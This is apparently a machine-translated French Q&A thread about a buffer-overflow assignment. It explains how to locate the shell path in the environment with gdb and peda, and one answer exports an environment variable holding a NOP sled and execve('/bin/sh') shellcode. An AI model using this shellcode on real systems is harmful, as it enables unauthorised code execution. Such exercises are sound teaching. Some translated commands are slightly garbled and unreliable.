Je dois exploiter un débordement de tampon très simple dans un programme C++ vulnérable pour une affectation et je ne trouve pas la variable d'environnement Shell.
Je n'ai jamais travaillé avec BoF avant, et après avoir lu beaucoup de questions similaires, de messages, etc. J'ai ces informations (corrigez-moi si c'est faux):
environ
Je peux trouver l'adresse de cette variable comme ceci:
(gdb) info variable environ
All variables matching regular expression "environ":
Non-debugging symbols:
0xb7fd1b00 __environ
0xb7fd1b00 _environ
0xb7fd1b00 environ
J'ai besoin de trouver le /bin/bash
chaîne dans cette variable pour lancer un shell (j'ai déjà le système et les adresses de sortie, je n'ai besoin que de la route vers le shell). Et c'est là que je ne sais pas quoi faire. J'ai lu des tutoriels gdb, mais toujours rien. x/s 0xb7fd1b00
ne produit rien d'utile.
environ
est un pointeur à pointeur, car il a le type char **environ
.
Vous devez essayer quelque chose comme:
(gdb) x/s *((char **)environ)
0xbffff688: "SSH_AGENT_PID=2107"
(gdb) x/s *((char **)environ+1)
0xbffff69b: "Shell=/bin/bash"
(gdb) x/wx $ ebp + 0x10
0xffffd3f8: 0xffffd48c
(gdb) x/wx 0xffffd48c
0xffffd48c: 0xffffd67e
(gdb) x/s 0xffffd67e
0xffffd67e: "XDG_SEAT_PATH =/org/freedesktop/DisplayManager/Seat0"
(gdb) (gdb) x/wx 0xffffd48c + 4
0xffffd490: 0xffffd6b2
(gdb) x/s 0xffffd6b2
0xffffd6b2: "XDG_CONFIG_DIRS =/etc/xdg/lubuntu:/etc/xdg/xdg-Lubuntu:/usr/share/upstart/xdg:/etc/xdg"
si vous avez peda installé pour gdb, alors vous pouvez simplement taper ceci dans gdb:
gdb-peda$ searchmem Shell
La sortie montrerait
Searching for 'Shell' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0xbffff540 ("Shell=/bin/bash")
Vous pouvez également utiliser "refsearch variable_name" si vous avez installé peda pour gdb.
exemple:
Tout d'abord, vous devez ajouter une variable (quelque chose comme Shellcode) à l'environnement.
(export Shellcode=$(python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"'))
Ouvrez ensuite gdb avec un exemple de programme, arrêtez main et exécutez.
Lorsque le programme se met en pause sur le point d'arrêt, vous pouvez rechercher la commande d'adresse d'adresse d'environnement suivante.
refsearch Shellcode